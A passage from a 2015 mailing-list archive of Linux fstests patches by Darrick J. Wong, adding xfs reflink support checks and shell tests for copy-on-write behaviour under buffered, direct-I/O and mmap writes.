addition to btrfs From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:23 -0700 Message-ID: <20151007051323.3260.60421.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194812 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Modify the reflink tests to support xfs. Signed-off-by: Darrick J. Wong --- common/rc | 37 +++++++++++++++++++++++++++++++++++++ tests/generic/800 | 2 +- tests/generic/801 | 2 +- tests/generic/802 | 2 +- 4 files changed, 40 insertions(+), 3 deletions(-) diff --git a/common/rc b/common/rc index 3e97060..7e2f140 100644 --- a/common/rc +++ b/common/rc @@ -1429,6 +1429,43 @@ _require_scratch_xfs_crc() umount $SCRATCH_MNT } +# this test requires the test fs support reflink... +# +_require_test_reflink() +{ + case $FSTYP in + xfs) + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "Reflink not supported by this filesystem type: $FSTYP" + ;; + btrfs) + true + ;; + *) + _notrun "Reflink not supported by this filesystem type: $FSTYP" + ;; + esac +} + +# this test requires the scratch fs support reflink... +# +_require_scratch_reflink() +{ + case $FSTYP in + xfs) + _scratch_mkfs > /dev/null 2>&1 + _scratch_mount + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "$FSTYP does not support reflink" + _scratch_unmount + ;; + btrfs) + true + ;; + *) + _notrun "Reflink not supported by this filesystem type: $FSTYP" + ;; + esac +} + # this test requires the bigalloc feature to be available in mkfs.ext4 # _require_ext4_mkfs_bigalloc() diff --git a/tests/generic/800 b/tests/generic/800 index a71f11a..954f39d 100755 --- a/tests/generic/800 +++ b/tests/generic/800 @@ -45,7 +45,7 @@ _cleanup() . common/filter # real QA test starts here -_supported_fs btrfs +_require_test_reflink _supported_os Linux _require_xfs_io_command "fiemap" diff --git a/tests/generic/801 b/tests/generic/801 index b21c44b..aedb6e9 100755 --- a/tests/generic/801 +++ b/tests/generic/801 @@ -45,7 +45,7 @@ _cleanup() . common/filter # real QA test starts here -_supported_fs btrfs +_require_test_reflink _supported_os Linux _require_xfs_io_command "fiemap" diff --git a/tests/generic/802 b/tests/generic/802 index afd8513..51d3414 100755 --- a/tests/generic/802 +++ b/tests/generic/802 @@ -43,7 +43,7 @@ _cleanup() . ./common/filter # real QA test starts here -_supported_fs btrfs +_require_test_reflink _supported_os Linux _require_xfs_io_command "fiemap" From darrick.wong@oracle.com Wed Oct 7 00:13:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 428AE29F05 for ; Wed, 7 Oct 2015 00:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2AAB7304039 for ; Tue, 6 Oct 2015 22:13:46 -0700 (PDT) X-ASG-Debug-ID: 1444194822-04cb6c578a0dbe0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Hr9Ky9Cro7ErOlBb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:42 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975Dep9020855 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:40 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975Dd89012264 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:40 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DdbH026963; Wed, 7 Oct 2015 05:13:39 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:38 -0700 Subject: [PATCH 05/12] reflink: test CoW behaviors of reflinked files From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 05/12] reflink: test CoW behaviors of reflinked files To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:37 -0700 Message-ID: <20151007051337.3260.59500.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194822 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Ensure that CoW happens correctly with buffered, directio, and mmap writes. Signed-off-by: Darrick J. Wong --- tests/generic/808 | 139 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/808.out | 13 +++++ tests/generic/809 | 139 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/809.out | 13 +++++ tests/generic/810 | 139 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/810.out | 13 +++++ tests/generic/837 | 87 +++++++++++++++++++++++++++++++ tests/generic/837.out | 5 ++ tests/generic/838 | 87 +++++++++++++++++++++++++++++++ tests/generic/838.out | 5 ++ tests/generic/group | 5 ++ 11 files changed, 645 insertions(+) create mode 100755 tests/generic/808 create mode 100644 tests/generic/808.out create mode 100755 tests/generic/809 create mode 100644 tests/generic/809.out create mode 100755 tests/generic/810 create mode 100644 tests/generic/810.out create mode 100755 tests/generic/837 create mode 100644 tests/generic/837.out create mode 100755 tests/generic/838 create mode 100644 tests/generic/838.out diff --git a/tests/generic/808 b/tests/generic/808 new file mode 100755 index 0000000..8275bd9 --- /dev/null +++ b/tests/generic/808 @@ -0,0 +1,139 @@ +#! /bin/bash +# FS QA Test No. 808 +# +# Ensuring that copy on write through the page cache works: +# - Reflink two files together +# - Write to the beginning, middle, and end +# - Check that the files are now different where we say they're different. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file1 >> $seqres.full +cp --reflink $TESTDIR/file1 $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" + +echo "pagecache CoW the second file" +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 17" $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 16 - 34)) 17" $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 48 - 8)) 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 48 - 8)) 17" $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" + +echo "Compare the CoW'd section to the before file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file2) \ + || echo "Start sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2) \ + || echo "Middle sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 8)) 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 8)) 17" $TESTDIR/file2) \ + || echo "End sections do not match (intentional)" + +echo "Compare the CoW'd section to the after file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file3) \ + || echo "Start sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file3) \ + || echo "Middle sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 8)) 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 8)) 17" $TESTDIR/file3) \ + || echo "End sections do not match" + +echo "Compare the not CoW'd sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file2) \ + || echo "Start sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file3) \ + || echo "Start sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file2) \ + || echo "Middle sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file3) \ + || echo "Middle sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 108)) 100" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 108)) 100" $TESTDIR/file2) \ + || echo "End sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 108)) 100" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 108)) 100" $TESTDIR/file3) \ + || echo "End sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file2) \ + || echo "Untouched sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file3) \ + || echo "Untouched sections of 2-3 do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/808.out b/tests/generic/808.out new file mode 100644 index 0000000..ef13e62 --- /dev/null +++ b/tests/generic/808.out @@ -0,0 +1,13 @@ +QA output created by 808 +Create the original files +Compare files +pagecache CoW the second file +Compare files +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Compare the CoW'd section to the before file +Start sections do not match (intentional) +Middle sections do not match (intentional) +End sections do not match (intentional) +Compare the CoW'd section to the after file +Compare the not CoW'd sections diff --git a/tests/generic/809 b/tests/generic/809 new file mode 100755 index 0000000..09aac9b --- /dev/null +++ b/tests/generic/809 @@ -0,0 +1,139 @@ +#! /bin/bash +# FS QA Test No. 809 +# +# Ensuring that copy on write in direct-io mode works: +# - Reflink two files together +# - Write to the beginning, middle, and end in direct-io mode +# - Check that the files are now different where we say they're different. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file1 >> $seqres.full +cp --reflink $TESTDIR/file1 $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 should match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 should match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 should match" + +echo "directio CoW the second file" +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $BLKSZ" -d $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $BLKSZ" -d $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 16 - 512)) 512" -d $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 16 - 512)) 512" -d $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 48)) $BLKSZ" -d $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 48)) $BLKSZ" -d $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 should not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 should not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 should match" + +echo "Compare the CoW'd section to the before file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $BLKSZ" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $BLKSZ" $TESTDIR/file2) \ + || echo "Start sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 512)) 512" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 512)) 512" $TESTDIR/file2) \ + || echo "Middle sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 512)) $BLKSZ" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 512)) $BLKSZ" $TESTDIR/file2) \ + || echo "End sections do not match (intentional)" + +echo "Compare the CoW'd section to the after file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $BLKSZ" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $BLKSZ" $TESTDIR/file3) \ + || echo "Start sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 512)) 512" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 512)) 512" $TESTDIR/file3) \ + || echo "Middle sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 512)) $BLKSZ" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 512)) $BLKSZ" $TESTDIR/file3) \ + || echo "End sections do not match" + +echo "Compare the not CoW'd sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 512" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 512" $TESTDIR/file2) \ + || echo "Start sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 512" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 512" $TESTDIR/file3) \ + || echo "Start sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 1024)) 512" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 1024)) 512" $TESTDIR/file2) \ + || echo "Middle sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 1024)) 512" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 1024)) 512" $TESTDIR/file3) \ + || echo "Middle sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 1024)) 512" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 1024)) 512" $TESTDIR/file2) \ + || echo "End sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 1024)) 512" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 1024)) 512" $TESTDIR/file3) \ + || echo "End sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16)) 512" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16)) 512" $TESTDIR/file2) \ + || echo "Untouched sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16)) 512" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16)) 512" $TESTDIR/file3) \ + || echo "Untouched sections of 2-3 do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/809.out b/tests/generic/809.out new file mode 100644 index 0000000..ce91ee2 --- /dev/null +++ b/tests/generic/809.out @@ -0,0 +1,13 @@ +QA output created by 809 +Create the original files +Compare files +directio CoW the second file +Compare files +Files 1-2 should not match (intentional) +Files 1-3 should not match (intentional) +Compare the CoW'd section to the before file +Start sections do not match (intentional) +Middle sections do not match (intentional) +End sections do not match (intentional) +Compare the CoW'd section to the after file +Compare the not CoW'd sections diff --git a/tests/generic/810 b/tests/generic/810 new file mode 100755 index 0000000..3de0b69 --- /dev/null +++ b/tests/generic/810 @@ -0,0 +1,139 @@ +#! /bin/bash +# FS QA Test No. 810 +# +# Ensuring that mmap copy on write through the page cache works: +# - Reflink two files together +# - Write to the beginning, middle, and end +# - Check that the files are now different where we say they're different. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file1 >> $seqres.full +cp --reflink $TESTDIR/file1 $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 48 - 3))" $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" + +echo "mmap CoW the second file" +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 0 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 0 17" $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 $((BLKSZ * 16 - 34)) 17" $TESTDIR/file3 >> $seqres.full + +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 $((BLKSZ * 48 - 20)) 17" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * 48 - 3))" -c "mwrite -S 0x62 $((BLKSZ * 48 - 20)) 17" $TESTDIR/file3 >> $seqres.full +_test_remount + +echo "Compare files" +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" + +echo "Compare the CoW'd section to the before file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file2) \ + || echo "Start sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2) \ + || echo "Middle sections do not match (intentional)" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 20)) 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 20)) 17" $TESTDIR/file2) \ + || echo "End sections do not match (intentional)" + +echo "Compare the CoW'd section to the after file" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 17" $TESTDIR/file3) \ + || echo "Start sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 34)) 17" $TESTDIR/file3) \ + || echo "Middle sections do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 20)) 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 20)) 17" $TESTDIR/file3) \ + || echo "End sections do not match" + +echo "Compare the not CoW'd sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file2) \ + || echo "Start sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v 18 17" $TESTDIR/file3) \ + || echo "Start sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file2) \ + || echo "Middle sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 16 - 17)) 82" $TESTDIR/file3) \ + || echo "Middle sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 120)) 100" $TESTDIR/file1) \ + 